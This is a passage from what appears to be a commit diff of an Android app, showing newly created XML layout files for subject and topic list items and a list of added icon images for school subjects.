18 | android:id="@+id/rl_pic" | ||
19 | android:layout_width="wrap_content" | ||
20 | android:layout_height="wrap_content" | ||
21 | android:layout_centerInParent="true" /> | ||
22 | </RelativeLayout> | ||
23 | </LinearLayout> |
app/src/main/res/layout/item_subject.xml
File was created | 1 | <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:id="@+id/rl_subject" | ||
3 | android:layout_width="wrap_content" | ||
4 | android:layout_height="wrap_content"> | ||
5 | |||
6 | <ImageView | ||
7 | android:id="@+id/iv_subject" | ||
8 | android:layout_width="45dp" | ||
9 | android:layout_height="45dp" | ||
10 | android:layout_centerHorizontal="true" | ||
11 | android:scaleType="fitXY" /> | ||
12 | |||
13 | <TextView | ||
14 | android:id="@+id/tv_subject" | ||
15 | android:layout_width="wrap_content" | ||
16 | android:layout_height="wrap_content" | ||
17 | android:layout_below="@+id/iv_subject" | ||
18 | android:layout_centerHorizontal="true" | ||
19 | android:layout_marginTop="10dp" | ||
20 | android:textColor="#333333" | ||
21 | android:textSize="14sp" /> | ||
22 | </RelativeLayout> |
app/src/main/res/layout/item_topic.xml
File was created | 1 | <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:layout_width="75dp" | ||
3 | android:layout_height="30dp" | ||
4 | android:layout_marginRight="10dp"> | ||
5 | |||
6 | <TextView | ||
7 | android:id="@+id/tv_name" | ||
8 | android:layout_width="70dp" | ||
9 | android:layout_height="25dp" | ||
10 | android:gravity="center" | ||
11 | android:textSize="14sp" /> | ||
12 | |||
13 | <ImageView | ||
14 | android:id="@+id/iv_click" | ||
15 | android:layout_width="20dp" | ||
16 | android:layout_height="20dp" | ||
17 | android:layout_alignParentRight="true" | ||
18 | android:layout_alignParentBottom="true" | ||
19 | android:src="@mipmap/ic_click" /> | ||
20 | |||
21 | </RelativeLayout> |
app/src/main/res/layout/layout_select.xml
File was created | 1 | <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" | |
2 | android:id="@+id/rl_add" | ||
3 | android:layout_width="wrap_content" | ||
4 | android:layout_height="wrap_content" | ||
5 | android:background="@drawable/bg_cut_unselect"> | ||
6 | |||
7 | <ImageView | ||
8 | android:id="@+id/iv_state" | ||
9 | android:layout_width="12dp" | ||
10 | android:layout_height="12dp" | ||
11 | android:layout_centerInParent="true" | ||
12 | android:src="@mipmap/ic_add" /> | ||
13 | |||
14 | <ImageView | ||
15 | android:id="@+id/iv_edit" | ||
16 | android:layout_width="20dp" | ||
17 | android:layout_height="20dp" | ||
18 | android:layout_alignParentRight="true" | ||
19 | android:background="#80000000" | ||
20 | android:padding="5dp" | ||
21 | android:src="@mipmap/ic_edit" /> | ||
22 | </RelativeLayout> |
app/src/main/res/mipmap-xhdpi/ic_add.png
598 Bytes
app/src/main/res/mipmap-xhdpi/ic_add_success.png
4.38 KB
app/src/main/res/mipmap-xhdpi/ic_arrow_right.png
586 Bytes
app/src/main/res/mipmap-xhdpi/ic_chemistry.png
6.96 KB
app/src/main/res/mipmap-xhdpi/ic_chinese.png
7.01 KB
app/src/main/res/mipmap-xhdpi/ic_click.png
1.78 KB
app/src/main/res/mipmap-xhdpi/ic_close.png
900 Bytes
app/src/main/res/mipmap-xhdpi/ic_delete.png
1.53 KB
app/src/main/res/mipmap-xhdpi/ic_edit.png
351 Bytes
app/src/main/res/mipmap-xhdpi/ic_empty.png
54.9 KB
app/src/main/res/mipmap-xhdpi/ic_english.png
8 KB
app/src/main/res/mipmap-xhdpi/ic_error_edit.png
1.23 KB
app/src/main/res/mipmap-xhdpi/ic_math.png
7.35 KB
app/src/main/res/mipmap-xhdpi/ic_next.png
665 Bytes
app/src/main/res/mipmap-xhdpi/ic_next_gray.png
661 Bytes
app/src/main/res/mipmap-xhdpi/ic_photo_again.png
1.23 KB
app/src/main/res/mipmap-xhdpi/ic_physics.png
7.06 KB
app/src/main/res/mipmap-xhdpi/ic_pic_edit.png
685 Bytes
app/src/main/res/mipmap-xhdpi/ic_previous.png
564 Bytes
app/src/main/res/mipmap-xhdpi/ic_previous_gray.png
1.03 KB
app/src/main/res/mipmap-xhdpi/ic_rotate.png
1.01 KB
app/src/main/res/mipmap-xhdpi/ic_select.png
1.33 KB